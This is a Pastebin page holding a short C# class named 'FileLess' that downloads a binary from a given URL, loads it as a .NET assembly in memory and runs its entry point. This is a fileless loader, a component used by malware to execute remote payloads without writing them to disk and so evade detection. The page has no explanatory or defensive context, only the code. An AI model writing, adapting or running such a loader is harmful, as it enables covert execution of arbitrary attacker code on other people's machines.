Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System.Net;
- using System.Reflection;
- namespace AMISS
- {
- class FileLess
- {
- public void Run(string url)
- {
- var webClient = new WebClient();
- byte[] bin = webClient.DownloadData(url);
- Assembly a = Assembly.Load(bin);
- MethodInfo method = a.EntryPoint;
- object o = a.CreateInstance(method.Name);
- var parameters = method.GetParameters().Length == 0 ? null : new[] { new string[0] };
- method.Invoke(o, parameters);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement